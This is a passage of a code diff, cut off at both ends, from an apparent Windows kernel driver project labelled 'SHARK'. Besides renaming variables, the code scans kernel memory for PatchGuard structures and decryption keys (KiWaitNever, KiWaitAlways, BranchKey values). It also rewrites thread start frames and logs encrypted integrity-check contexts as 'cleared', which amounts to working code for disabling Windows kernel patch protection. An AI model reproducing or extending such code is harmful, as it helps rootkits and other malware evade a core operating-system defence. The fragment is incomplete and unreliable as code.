Context->Rip = __rduptr(Context->Rsp + KSTART_FRAME_LENGTH); Context->Rsp += KSTART_FRAME_LENGTH + sizeof(ptr); ExInitializeWorkItem( - &Object->Worker, PgBlock->FreeWorker, Object); + &Object->Worker, Block->FreeWorker, Object); - PgBlock->ExQueueWorkItem( + Block->ExQueueWorkItem( &Object->Worker, CriticalWorkQueue); } else { Thread = (PETHREAD)__readgsqword(FIELD_OFFSET(KPCR, Prcb.CurrentThread)); - if (GetGpBlock(PgBlock)->BuildNumber >= 18362) { + if (GetRtBlock(Block)->BuildNumber >= 18362) { // ETHREAD->ReservedCrossThreadFlags // clear SameThreadPassiveFlags Bit 0 (BugCheck 139) - *((PBOOLEAN)Thread + PgBlock->OffsetSameThreadPassive) &= 0xFFFFFFFE; + *((u8 *)Thread + Block->OffsetSameThreadPassive) &= 0xFFFFFFFE; } StartFrame = (PKSTART_FRAME)( (*(u64ptr)((u64)Thread + - GetGpBlock(PgBlock)->DebuggerDataBlock.OffsetKThreadInitialStack)) - + GetRtBlock(Block)->DebuggerDataBlock.OffsetKThreadInitialStack)) - KSTART_FRAME_LENGTH); + StartFrame->P1Home = (u64)Block->WorkerContext; + StartFrame->P2Home = (u64)Block->ExpWorkerThread; + StartFrame->P3Home = (u64)Block->PspSystemThreadStartup; + StartFrame->Return = 0; + SwitchFrame = (PKSWITCH_FRAME)((u64)StartFrame - KSWITCH_FRAME_LENGTH); - StartFrame->P1Home = (u64)PgBlock->WorkerContext; - StartFrame->P2Home = (u64)PgBlock->ExpWorkerThread; - StartFrame->P3Home = (u64)PgBlock->PspSystemThreadStartup; - StartFrame->Return = 0; - SwitchFrame->Return = (u64)PgBlock->KiStartSystemThread; + SwitchFrame->Return = (u64)Block->KiStartSystemThread; SwitchFrame->ApcBypass = APC_LEVEL; SwitchFrame->Rbp = (u64)TrapFrame + FIELD_OFFSET(KTRAP_FRAME, Xmm1); Context->Rsp = (u64)StartFrame; - Context->Rip = (u64)PgBlock->KiStartSystemThread; + Context->Rip = (u64)Block->KiStartSystemThread; ExInitializeWorkItem( - &Object->Worker, PgBlock->FreeWorker, Object); + &Object->Worker, Block->FreeWorker, Object); - PgBlock->ExQueueWorkItem( + Block->ExQueueWorkItem( &Object->Worker, CriticalWorkQueue); } - } - GetGpBlock(PgBlock)->RtlRestoreContext(Context, NULL); + GetRtBlock(Block)->RtlRestoreContext(Context, NULL); + } + else { + __debugbreak(); + } } void NTAPI InitializePgBlock( - __inout PPGBLOCK PgBlock + __inout PPGBLOCK Block ) { status Status = STATUS_SUCCESS; @@ -313,10 +176,14 @@ InitializePgBlock( UNICODE_STRING RoutineString = { 0 }; ptr RoutineAddress = NULL; u8 Selector = 0; + PPOOL_BIG_PAGES * PageTable = NULL; uptr PageTableSize = NULL; PRTL_BITMAP BitMap = NULL; + ptr Address = NULL; + PMMPTE PointerPte = NULL; + u TempField = 0; s8 CmpAppendDllSection[] = "2E 48 31 11 48 31 51 08 48 31 51 10 48 31 51 18"; @@ -525,23 +392,23 @@ InitializePgBlock( }; cptr ClearMessage[3] = { - "[Shark] < %p > declassified context cleared\n", - "[Shark] < %p > encrypted context cleared\n", - "[Shark] < %p > double encrypted context cleared\n" + "[SHARK] < %p > declassified context cleared\n", + "[SHARK] < %p > encrypted context cleared\n", + "[SHARK] < %p > double encrypted context cleared\n" }; #ifdef DEBUG vDbgPrint( - "[Shark] < %p > PgBlock\n", - PgBlock); + "[SHARK] < %p > Block\n", + Block); #endif // DEBUG - InitializeListHead(&PgBlock->ObjectList); - KeInitializeSpinLock(&PgBlock->ObjectLock); + InitializeListHead(&Block->Object); + KeInitializeSpinLock(&Block->Lock); InitializeObjectAttributes( &ObjectAttributes, - &GetGpBlock(PgBlock)->KernelDataTableEntry->FullDllName, + &GetRtBlock(Block)->KernelDataTableEntry->FullDllName, (OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE), NULL, NULL); @@ -586,7 +453,7 @@ InitializePgBlock( if (NT_SUCCESS(Status)) { Diff = - (u64)GetGpBlock(PgBlock)->DebuggerDataBlock.KernBase - + (u64)GetRtBlock(Block)->DebuggerDataBlock.KernBase - (u64)ViewBase; ControlPc = ScanBytes( @@ -602,30 +469,30 @@ InitializePgBlock( 0 != _cmpbyte(TargetPc[2], 0xe0)) { Length = DetourGetInstructionLength(TargetPc); - if (0 == PgBlock->SizeCmpAppendDllSection) { + if (0 == Block->SizeCmpAppendDllSection) { if (8 == Length) { if (0 == _cmpbyte(TargetPc[0], 0x48) && 0 == _cmpbyte(TargetPc[1], 0x31) && 0 == _cmpbyte(TargetPc[2], 0x84) && 0 == _cmpbyte(TargetPc[3], 0xca)) { - PgBlock->SizeCmpAppendDllSection = *(u32ptr)(TargetPc + 4); + Block->SizeCmpAppendDllSection = *(u32ptr)(TargetPc + 4); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > SizeCmpAppendDllSection\n", - PgBlock->SizeCmpAppendDllSection); + "[SHARK] < %p > SizeCmpAppendDllSection\n", + Block->SizeCmpAppendDllSection); #endif // DEBUG if (0 == _cmpbyte(TargetPc[11], 0x48) || 0 == _cmpbyte(TargetPc[12], 0x0f) || 0 == _cmpbyte(TargetPc[13], 0xbb) || 0 == _cmpbyte(TargetPc[14], 0xc0)) { - PgBlock->BtcEnable = TRUE; + Block->BtcEnable = TRUE; #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BtcEnable\n", - PgBlock->BtcEnable); + "[SHARK] < %p > BtcEnable\n", + Block->BtcEnable); #endif // DEBUG } @@ -636,17 +503,17 @@ InitializePgBlock( } RtlCopyMemory( - PgBlock->_OriginalCmpAppendDllSection, + Block->_OriginalCmpAppendDllSection, TargetPc, - sizeof(PgBlock->_OriginalCmpAppendDllSection)); + sizeof(Block->_OriginalCmpAppendDllSection)); - PgBlock->OriginalCmpAppendDllSection = - (ptr)PgBlock->_OriginalCmpAppendDllSection; + Block->OriginalCmpAppendDllSection = + (ptr)Block->_OriginalCmpAppendDllSection; #ifdef DEBUG vDbgPrint( - "[Shark] < %p > OriginalCmpAppendDllSection\n", - PgBlock->OriginalCmpAppendDllSection); + "[SHARK] < %p > OriginalCmpAppendDllSection\n", + Block->OriginalCmpAppendDllSection); #endif // DEBUG } } @@ -655,12 +522,12 @@ InitializePgBlock( if (6 == Length) { if (0 == _cmpbyte(TargetPc[0], 0x8b) && 0 == _cmpbyte(TargetPc[1], 0x82)) { - PgBlock->OffsetEntryPoint = *(u32ptr)(TargetPc + 2); + Block->OffsetEntryPoint = *(u32ptr)(TargetPc + 2); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > OffsetEntryPoint\n", - PgBlock->OffsetEntryPoint); + "[SHARK] < %p > OffsetEntryPoint\n", + Block->OffsetEntryPoint); #endif // DEBUG break; } @@ -673,7 +540,7 @@ InitializePgBlock( ControlPc = ScanBytes( ViewBase, (u8ptr)ViewBase + ViewSize, - Header[GetGpBlock(PgBlock)->BuildNumber >= 18362 ? 1 : 0]); + Header[GetRtBlock(Block)->BuildNumber >= 18362 ? 1 : 0]); if (NULL != ControlPc) { TargetPc = ControlPc + Diff; @@ -685,13 +552,13 @@ InitializePgBlock( if (NULL != FunctionEntry) { TargetPc = - (u8ptr)GetGpBlock(PgBlock)->DebuggerDataBlock.KernBase + + (u8ptr)GetRtBlock(Block)->DebuggerDataBlock.KernBase + FunctionEntry->BeginAddress - Diff; RtlCopyMemory( - PgBlock->Header, + Block->Header, TargetPc, - sizeof(PgBlock->Header)); + sizeof(Block->Header)); } NtSection = SectionTableFromVirtualAddress( @@ -699,26 +566,26 @@ InitializePgBlock( ControlPc); if (NULL != NtSection) { - PgBlock->SizeINITKDBG = + Block->SizeINITKDBG = max(NtSection->SizeOfRawData, NtSection->Misc.VirtualSize); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > SizeINITKDBG\n", - PgBlock->SizeINITKDBG); + "[SHARK] < %p > SizeINITKDBG\n", + Block->SizeINITKDBG); #endif // DEBUG - PgBlock->INITKDBG = __malloc(PgBlock->SizeINITKDBG); + Block->INITKDBG = __malloc(Block->SizeINITKDBG); - if (NULL != PgBlock->INITKDBG) { + if (NULL != Block->INITKDBG) { RtlCopyMemory( - PgBlock->INITKDBG, + Block->INITKDBG, (u8ptr)ViewBase + NtSection->VirtualAddress, - PgBlock->SizeINITKDBG); + Block->SizeINITKDBG); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > INITKDBG\n", - PgBlock->INITKDBG); + "[SHARK] < %p > INITKDBG\n", + Block->INITKDBG); #endif // DEBUG } } @@ -735,47 +602,47 @@ InitializePgBlock( if (NULL != ControlPc) { TargetPc = ScanBytes( ControlPc, - ControlPc + PgBlock->OffsetEntryPoint, + ControlPc + Block->OffsetEntryPoint, FirstField); if (NULL != TargetPc) { - PgBlock->Fields[0] = + Block->Fields[0] = (u64)__rva_to_va(TargetPc - 4) + Diff; #ifdef DEBUG FindAndPrintSymbol( - "[Shark]", - (ptr)PgBlock->Fields[0]); + "[SHARK]", + (ptr)Block->Fields[0]); #endif // DEBUG - PgBlock->Fields[1] = + Block->Fields[1] = (u64)__rva_to_va(TargetPc + 10) + Diff; #ifdef DEBUG FindAndPrintSymbol( - "[Shark]", - (ptr)PgBlock->Fields[1]); + "[SHARK]", + (ptr)Block->Fields[1]); #endif // DEBUG - PgBlock->Fields[2] = + Block->Fields[2] = (u64)__rva_to_va(TargetPc + 24) + Diff; #ifdef DEBUG FindAndPrintSymbol( - "[Shark]", - (ptr)PgBlock->Fields[2]); + "[SHARK]", + (ptr)Block->Fields[2]); #endif // DEBUG - PgBlock->Fields[3] = + Block->Fields[3] = (u64)__rva_to_va(TargetPc + 38) + Diff; #ifdef DEBUG FindAndPrintSymbol( - "[Shark]", - (ptr)PgBlock->Fields[3]); + "[SHARK]", + (ptr)Block->Fields[3]); #endif // DEBUG - if (GetGpBlock(PgBlock)->BuildNumber >= 9200) { + if (GetRtBlock(Block)->BuildNumber >= 9200) { while (TRUE) { TargetPc = ScanBytes( TargetPc, @@ -785,48 +652,99 @@ InitializePgBlock( TempField = (u64)__rva_to_va(TargetPc + 3) + Diff; if ((u)TempField == - (u)GetGpBlock(PgBlock)->DbgPrint) { - // if (GetGpBlock(PgBlock)->BuildNumber >= 18362) { - if (GetGpBlock(PgBlock)->BuildNumber >= 9200) { - TempField = (u64)__rva_to_va(TargetPc + 17) + Diff; + (u)GetRtBlock(Block)->DbgPrint) { + TempField = (u64)__rva_to_va(TargetPc + 17) + Diff; - RtlCopyMemory( - &PgBlock->MmAllocateIndependentPages, - &TempField, - sizeof(ptr)); + RtlCopyMemory( + &Block->MmAllocateIndependentPages, + &TempField, + sizeof(ptr)); #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > MmAllocateIndependentPages\n", - PgBlock->MmAllocateIndependentPages); -#endif // DEBUG - } + vDbgPrint( + "[SHARK] < %p > MmAllocateIndependentPages\n", + Block->MmAllocateIndependentPages); +#endif // DEBUG TempField = (u64)__rva_to_va(TargetPc + 31) + Diff; RtlCopyMemory( - &PgBlock->MmFreeIndependentPages, + &Block->MmFreeIndependentPages, &TempField, sizeof(ptr)); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > MmFreeIndependentPages\n", - PgBlock->MmFreeIndependentPages); + "[SHARK] < %p > MmFreeIndependentPages\n", + Block->MmFreeIndependentPages); #endif // DEBUG TempField = (u64)__rva_to_va(TargetPc + 45) + Diff; RtlCopyMemory( - &PgBlock->MmSetPageProtection, + &Block->MmSetPageProtection, &TempField, sizeof(ptr)); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > MmSetPageProtection\n", - PgBlock->MmSetPageProtection); + "[SHARK] < %p > MmSetPageProtection\n", + Block->MmSetPageProtection); +#endif // DEBUG + + if (NULL != Block->MmAllocateIndependentPages && + NULL != Block->MmFreeIndependentPages) { + Address = + Block->MmAllocateIndependentPages(PAGE_SIZE, 0); + + if (NULL != Address) { + PointerPte = GetPteAddress(Address); + +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > test independent page < %p - %08x >\n", + PointerPte, + Address, + PAGE_SIZE); +#endif // DEBUG + + PointerPte = NULL; + + Block->MmFreeIndependentPages(Address, PAGE_SIZE); + + Address = NULL; + } + } + } + + if ((u)TempField == + (u)GetRtBlock(Block)->KeWaitForSingleObject) { + TempField = (u64)__rva_to_va(TargetPc + 59) + Diff; + + FunctionEntry = RtlLookupFunctionEntry( + (u64)TempField, + (u64ptr)&ImageBase, + NULL); + + if (NULL != FunctionEntry) { + Block->KiScbQueueScanWorker.BeginAddress = + ImageBase + FunctionEntry->BeginAddress; + +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > KiScbQueueScanWorker\n", + Block->KiScbQueueScanWorker.BeginAddress); +#endif // DEBUG + + Block->KiScbQueueScanWorker.EndAddress = + ImageBase + FunctionEntry->EndAddress; + +#ifdef DEBUG + vDbgPrint( + "[SHARK] < %p > KiScbQueueScanWorker end\n", + Block->KiScbQueueScanWorker.EndAddress); #endif // DEBUG + } break; } @@ -844,18 +762,18 @@ InitializePgBlock( TempField = (u64)__rva_to_va(TargetPc + 3) + Diff; if ((u)TempField == - (u)GetGpBlock(PgBlock)->PsLoadedModuleList) { + (u)GetRtBlock(Block)->PsLoadedModuleList) { TempField = (u64)__rva_to_va(TargetPc - 11) + Diff; RtlCopyMemory( - &GetGpBlock(PgBlock)->PsInvertedFunctionTable, + &GetRtBlock(Block)->PsInvertedFunctionTable, &TempField, sizeof(ptr)); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > PsInvertedFunctionTable\n", - GetGpBlock(PgBlock)->PsInvertedFunctionTable); + "[SHARK] < %p > PsInvertedFunctionTable\n", + GetRtBlock(Block)->PsInvertedFunctionTable); #endif // DEBUG break; @@ -864,19 +782,19 @@ InitializePgBlock( TargetPc++; } - if (GetGpBlock(PgBlock)->BuildNumber >= 18362) { + if (GetRtBlock(Block)->BuildNumber >= 18362) { TargetPc = ScanBytes( TargetPc, (u8ptr)ViewBase + ViewSize, BranchKey[0]); if (NULL != TargetPc) { - PgBlock->BranchKey[10] = __rds32(TargetPc + 0x15); + Block->BranchKey[10] = __rds32(TargetPc + 0x15); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[10]\n", - PgBlock->BranchKey[10]); + "[SHARK] < %p > BranchKey[10]\n", + Block->BranchKey[10]); #endif // DEBUG } @@ -888,96 +806,96 @@ InitializePgBlock( if (NULL != TargetPc) { ControlPc = __rva_to_va(TargetPc + 0x10); - PgBlock->BranchKey[0] = __rds32( - __ptou(__rva_to_va(ControlPc + 0xA)) + 8); + Block->BranchKey[0] = + __rds32((u)(__rva_to_va(ControlPc + 0xA)) + 8); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[0]\n", - PgBlock->BranchKey[0]); + "[SHARK] < %p > BranchKey[0]\n", + Block->BranchKey[0]); #endif // DEBUG - PgBlock->BranchKey[1] = __rds32( - __ptou(__rva_to_va(ControlPc + 0x13)) + 8); + Block->BranchKey[1] = + __rds32((u)(__rva_to_va(ControlPc + 0x13)) + 8); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[1]\n", - PgBlock->BranchKey[1]); + "[SHARK] < %p > BranchKey[1]\n", + Block->BranchKey[1]); #endif // DEBUG - PgBlock->BranchKey[2] = __rds32( - __ptou(__rva_to_va(ControlPc + 0x1C)) + 8); + Block->BranchKey[2] = + __rds32((u)(__rva_to_va(ControlPc + 0x1C)) + 8); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[2]\n", - PgBlock->BranchKey[2]); + "[SHARK] < %p > BranchKey[2]\n", + Block->BranchKey[2]); #endif // DEBUG - PgBlock->BranchKey[3] = __rds32( - __ptou(__rva_to_va(ControlPc + 0x25)) + 8); + Block->BranchKey[3] = + __rds32((u)(__rva_to_va(ControlPc + 0x25)) + 8); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[3]\n", - PgBlock->BranchKey[3]); + "[SHARK] < %p > BranchKey[3]\n", + Block->BranchKey[3]); #endif // DEBUG - PgBlock->BranchKey[4] = __rds32(ControlPc + 0x31); + Block->BranchKey[4] = __rds32(ControlPc + 0x31); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[4]\n", - PgBlock->BranchKey[4]); + "[SHARK] < %p > BranchKey[4]\n", + Block->BranchKey[4]); #endif // DEBUG - PgBlock->BranchKey[5] = __rds32( - __ptou(__rva_to_va(ControlPc + 2)) + 8); + Block->BranchKey[5] = + __rds32((u)(__rva_to_va(ControlPc + 2)) + 8); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[5]\n", - PgBlock->BranchKey[5]); + "[SHARK] < %p > BranchKey[5]\n", + Block->BranchKey[5]); #endif // DEBUG ControlPc = TargetPc + 0x1B; - // PgBlock->BranchKey[6] = PgBlock->BranchKey[5]; + // Block->BranchKey[6] = Block->BranchKey[5]; - PgBlock->BranchKey[6] = 0; // same with 5, here use 0. + Block->BranchKey[6] = 0; // same with 5, here use 0. #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[6]\n", - PgBlock->BranchKey[6]); + "[SHARK] < %p > BranchKey[6]\n", + Block->BranchKey[6]); #endif // DEBUG - PgBlock->BranchKey[7] = __rds32( - __ptou(__rva_to_va(ControlPc + 0xE)) + 8); + Block->BranchKey[7] = + __rds32((u)(__rva_to_va(ControlPc + 0xE)) + 8); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[7]\n", - PgBlock->BranchKey[7]); + "[SHARK] < %p > BranchKey[7]\n", + Block->BranchKey[7]); #endif // DEBUG - PgBlock->BranchKey[8] = __rds32( - __ptou(__rva_to_va(ControlPc + 0x17)) + 8); + Block->BranchKey[8] = + __rds32((u)(__rva_to_va(ControlPc + 0x17)) + 8); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[8]\n", - PgBlock->BranchKey[8]); + "[SHARK] < %p > BranchKey[8]\n", + Block->BranchKey[8]); #endif // DEBUG - PgBlock->BranchKey[9] = __rds32( - __ptou(__rva_to_va(ControlPc + 0x20)) + 8); + Block->BranchKey[9] = + __rds32((u)(__rva_to_va(ControlPc + 0x20)) + 8); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[9]\n", - PgBlock->BranchKey[9]); + "[SHARK] < %p > BranchKey[9]\n", + Block->BranchKey[9]); #endif // DEBUG } @@ -987,12 +905,12 @@ InitializePgBlock( BranchKey[2]); if (NULL != TargetPc) { - PgBlock->BranchKey[11] = __rds32(TargetPc + 0x4A); + Block->BranchKey[11] = __rds32(TargetPc + 0x4A); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > BranchKey[11]\n", - PgBlock->BranchKey[11]); + "[SHARK] < %p > BranchKey[11]\n", + Block->BranchKey[11]); #endif // DEBUG } } @@ -1015,12 +933,12 @@ InitializePgBlock( if (NULL != ControlPc) { TargetPc = ControlPc; - PgBlock->KiStartSystemThread = (ptr)(TargetPc + Diff); + Block->KiStartSystemThread = (ptr)(TargetPc + Diff); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > KiStartSystemThread\n", - PgBlock->KiStartSystemThread); + "[SHARK] < %p > KiStartSystemThread\n", + Block->KiStartSystemThread); #endif // DEBUG } @@ -1038,14 +956,14 @@ InitializePgBlock( NULL); if (NULL != FunctionEntry) { - PgBlock->PspSystemThreadStartup = - (ptr)((u8ptr)GetGpBlock(PgBlock)->DebuggerDataBlock.KernBase + + Block->PspSystemThreadStartup = + (ptr)((u8ptr)GetRtBlock(Block)->DebuggerDataBlock.KernBase + FunctionEntry->BeginAddress); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > PspSystemThreadStartup\n", - PgBlock->PspSystemThreadStartup); + "[SHARK] < %p > PspSystemThreadStartup\n", + Block->PspSystemThreadStartup); #endif // DEBUG } } @@ -1059,7 +977,7 @@ InitializePgBlock( ZwClose(FileHandle); } - if (GetGpBlock(PgBlock)->BuildNumber >= 9600) { + if (GetRtBlock(Block)->BuildNumber >= 9600) { RtlInitUnicodeString(&RoutineString, L"KeSetTimerEx"); TargetPc = MmGetSystemRoutineAddress(&RoutineString); @@ -1079,22 +997,22 @@ InitializePgBlock( 0 == _cmpbyte(TargetPc[1], 0x8B)) { ControlPc = __rva_to_va(TargetPc + 3); - if (NULL == PgBlock->KiWaitNever) { - PgBlock->KiWaitNever = ControlPc; + if (NULL == Block->KiWaitNever) { + Block->KiWaitNever = ControlPc; #ifdef DEBUG vDbgPrint( - "[Shark] < %p > KiWaitNever\n", - PgBlock->KiWaitNever); + "[SHARK] < %p > KiWaitNever\n", + Block->KiWaitNever); #endif // DEBUG } else { - PgBlock->KiWaitAlways = ControlPc; + Block->KiWaitAlways = ControlPc; #ifdef DEBUG vDbgPrint( - "[Shark] < %p > KiWaitAlways\n", - PgBlock->KiWaitAlways); + "[SHARK] < %p > KiWaitAlways\n", + Block->KiWaitAlways); #endif // DEBUG break; @@ -1110,66 +1028,49 @@ InitializePgBlock( RtlInitUnicodeString(&RoutineString, L"MmIsNonPagedSystemAddressValid"); - PgBlock->Pool.MmIsNonPagedSystemAddressValid = MmGetSystemRoutineAddress(&RoutineString); + Block->Pool.MmIsNonPagedSystemAddressValid = MmGetSystemRoutineAddress(&RoutineString); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > MmIsNonPagedSystemAddressValid\n", - PgBlock->Pool.MmIsNonPagedSystemAddressValid); + "[SHARK] < %p > MmIsNonPagedSystemAddressValid\n", + Block->Pool.MmIsNonPagedSystemAddressValid); #endif // DEBUG - NtSection = FindSection( - (ptr)GetGpBlock(PgBlock)->DebuggerDataBlock.KernBase, + NtSection = LdrFindSection( + (ptr)GetRtBlock(Block)->DebuggerDataBlock.KernBase, ".text"); if (NULL != NtSection) { ControlPc = - (u8ptr)GetGpBlock(PgBlock)->DebuggerDataBlock.KernBase + + (u8ptr)GetRtBlock(Block)->DebuggerDataBlock.KernBase + NtSection->VirtualAddress; EndToLock = - (u8ptr)GetGpBlock(PgBlock)->DebuggerDataBlock.KernBase + + (u8ptr)GetRtBlock(Block)->DebuggerDataBlock.KernBase + NtSection->VirtualAddress + max(NtSection->SizeOfRawData, NtSection->Misc.VirtualSize); - if (GetGpBlock(PgBlock)->BuildNumber >= 15063) { - TargetPc = ScanBytes( - ControlPc, - EndToLock, - MiGetSystemRegionType); - - if (NULL != TargetPc) { - PgBlock->SystemRegionTypeArray = __rva_to_va(TargetPc + 0x13); - -#ifdef DEBUG - vDbgPrint( - "[Shark] < %p > SystemRegionTypeArray\n", - PgBlock->SystemRegionTypeArray); -#endif // DEBUG - } - } - - if (GetGpBlock(PgBlock)->BuildNumber >= 7600 && - GetGpBlock(PgBlock)->BuildNumber < 9200) { + if (GetRtBlock(Block)->BuildNumber >= 7600 && + GetRtBlock(Block)->BuildNumber < 9200) { Selector = 0; } - else if (GetGpBlock(PgBlock)->BuildNumber >= 9200 && - GetGpBlock(PgBlock)->BuildNumber < 19041) { + else if (GetRtBlock(Block)->BuildNumber >= 9200 && + GetRtBlock(Block)->BuildNumber < 19041) { Selector = 1; } - else if (GetGpBlock(PgBlock)->BuildNumber >= 19041 && - GetGpBlock(PgBlock)->BuildNumber < 20000) { + else if (GetRtBlock(Block)->BuildNumber >= 19041 && + GetRtBlock(Block)->BuildNumber < 20000) { Selector = 2; } - else if (GetGpBlock(PgBlock)->BuildNumber >= 20000 && - GetGpBlock(PgBlock)->BuildNumber < 21000) { + else if (GetRtBlock(Block)->BuildNumber >= 20000 && + GetRtBlock(Block)->BuildNumber < 21000) { Selector = 3; } - else if (GetGpBlock(PgBlock)->BuildNumber >= 21000 && - GetGpBlock(PgBlock)->BuildNumber < 22000) { + else if (GetRtBlock(Block)->BuildNumber >= 21000 && + GetRtBlock(Block)->BuildNumber < 22000) { Selector = 4; } - else if (GetGpBlock(PgBlock)->BuildNumber >= 22000) { + else if (GetRtBlock(Block)->BuildNumber >= 22000) { Selector = 3; } @@ -1179,290 +1080,262 @@ InitializePgBlock( ExGetBigPoolInfo[Selector].Signature); if (NULL != ControlPc) { - PgBlock->Pool.PoolBigPageTable = + Block->Pool.PoolBigPageTable = __rva_to_va_ex( ControlPc + ExGetBigPoolInfo[Selector].Offset[0], ExGetBigPoolInfo[Selector].Offset[1]); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > PoolBigPageTable\n", - PgBlock->Pool.PoolBigPageTable); + "[SHARK] < %p > PoolBigPageTable\n", + Block->Pool.PoolBigPageTable); #endif // DEBUG - PgBlock->Pool.PoolBigPageTableSize = + Block->Pool.PoolBigPageTableSize = __rva_to_va_ex( ControlPc + ExGetBigPoolInfo[Selector].Offset[2], +ExGetBigPoolInfo[Selector].Offset[3]); #ifdef DEBUG vDbgPrint( - "[Shark] < %p > PoolBigPageTableSize\n", - PgBlock->Pool.PoolBigPageTableSize); + "[SHARK] < %p > PoolBigPageTableSize\n", + Block->Pool.PoolBigPageTableSize); #endif // DEBUG } } - if (GetGpBlock(PgBlock)->BuildNumber < 21000) { - RtlInitUnicodeString(&RoutineString, L"MmAllocateMappingAddressEx"); + RtlInitUnicodeString(&RoutineString, L"MmAllocateMappingAddressEx"); - RoutineAddress = MmGetSystemRoutineAddress(&RoutineString); + RoutineAddress = MmGetSystemRoutineAddress(&RoutineString); - if (NULL == RoutineAddress) { - RtlInitUnicodeString(&RoutineString, L"MmAllocateMappingAddress"); + if (NULL == RoutineAddress) { + RtlInitUnicodeString(&RoutineString, L"MmAllocateMappingAddress"); - RoutineAddress = MmGetSystemRoutineAddress(&RoutineString); - } + RoutineAddress = MmGetSystemRoutineAddress(&RoutineString); + } - if (NULL != RoutineAddress) { - ControlPc = RoutineAddress; + if (NULL != RoutineAddress) { + ControlPc = RoutineAddress; - while (TRUE) { - Length = DetourGetInstructionLength(ControlPc); + while (TRUE) { + Length = DetourGetInstructionLength(ControlPc); - if (1 == Length) { - if (0 == _cmpbyte(ControlPc[0], 0xc3)) { - break; - } + if (1 == Length) { + if (0 == _cmpbyte(ControlPc[0], 0xc3)) { + break; } + } - if (7 == Length) { - if (0 == _cmpbyte(ControlPc[0], 0x48) && - 0 == _cmpbyte(ControlPc[1], 0x8d) && - 0 == _cmpbyte(ControlPc[2], 0x0d)) { - TargetPc = __rva_to_va(ControlPc + 3); + if (7 == Length) { + if (0 == _cmpbyte(ControlPc[0], 0x48) && + 0 == _cmpbyte(ControlPc[1], 0x8d) && + 0 == _cmpbyte(ControlPc[2], 0x0d)) { + TargetPc = __rva_to_va(ControlPc + 3); - // struct _MI_SYSTEM_PTE_TYPE * - BitMap = TargetPc; + // struct _MI_SYSTEM_PTE_TYPE * + BitMap = TargetPc; - PgBlock->SystemPtes.NumberOfPtes = BitMap->SizeOfBitMap * 8; + Block->SystemPtes.NumberOfPtes = BitMap->SizeOfBitMap * 8; #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > NumberOfPtes\n", - PgBlock->SystemPtes.NumberOfPtes); + vDbgPrint( + "[SHARK] < %p > NumberOfPtes\n", + Block->SystemPtes.NumberOfPtes); #endif // DEBUG - if (GetGpBlock(PgBlock)->BuildNumber < 9600) { - PgBlock->SystemPtes.BasePte = - *(PMMPTE *)((u8ptr)(BitMap + 1) + sizeof(u32) * 2); - } - else { - PgBlock->SystemPtes.BasePte = *(PMMPTE *)(BitMap + 1); - } + if (GetRtBlock(Block)->BuildNumber < 9600) { + Block->SystemPtes.BasePte = + *(PMMPTE *)((u8ptr)(BitMap + 1) + sizeof(u32) * 2); + } + else { + Block->SystemPtes.BasePte = *(PMMPTE *)(BitMap + 1); + } #ifdef DEBUG - vDbgPrint( - "[Shark] < %p > BasePte\n", - PgBlock->SystemPtes.BasePte); + vDbgPrint( + "[SHARK] < %p > BasePte\n", + Block->SystemPtes.BasePte); #endif // DEBUG - break; - } - } - - ControlPc += Length; - } - } - } - else { - for (Index = 0; - Index < SYSTEM_REGION_TYPE_ARRAY_COUNT; - Index++) { - if (MiVaKernelStacks == - PgBlock->SystemRegionTypeArray[Index]) { - if (NULL == PgBlock->SystemPtes.BasePte) { - PgBlock->SystemPtes.BasePte = - GetPteAddress(__utop((Index | 0xFFFFFFE0) << 0x27)); - } - - PgBlock->SystemPtes.NumberOfPtes += 0x40000000; - } - else { - if (NULL != PgBlock->SystemPtes.BasePte) { break; } } - } - -#ifdef DEBUG - vDbgPrint( - "[Shark] < %p > BasePte\n", - PgBlock->SystemPtes.BasePte); - vDbgPrint( - "[Shark] < %p > NumberOfPtes\n", - PgBlock->SystemPtes.NumberOfPtes); -#endif // DEBUG + ControlPc += Length; + } } RtlCopyMemory( - PgBlock->_Ror64, + Block->_Ror64, Ror64, - sizeof(PgBlock->_Ror64)); + sizeof(Block->_Ror64)); - PgBlock->Ror64 = __utop(PgBlock->_Ror64); + Block->Ror64 = (ptr)Block->_Ror64; RtlCopyMemory( - PgBlock->_Rol64, + Block->_Rol64, Rol64, - sizeof(PgBlock->_Rol64)); + sizeof(Block->_Rol64)); - PgBlock->Rol64 = __utop(PgBlock->_Rol64); + Block->Rol64 = (ptr)Block->_Rol64; RtlCopyMemory( - PgBlock->_RorWithBtc64, + Block->_RorWithBtc64, RorWithBtc64, - sizeof(PgBlock->_RorWithBtc64)); + sizeof(Block->_RorWithBtc64)); - PgBlock->RorWithBtc64 = __utop(PgBlock->_RorWithBtc64); + Block->RorWithBtc64 = (ptr)Block->_RorWithBtc64; - PgBlock->CmpDecode = - PgBlock->BtcEnable ? - __utop(PgBlock->RorWithBtc64) : __utop(PgBlock->Ror64); + Block->CmpDecode = + Block->BtcEnable ? + (ptr)Block->RorWithBtc64 : (ptr)Block->Ror64; - if 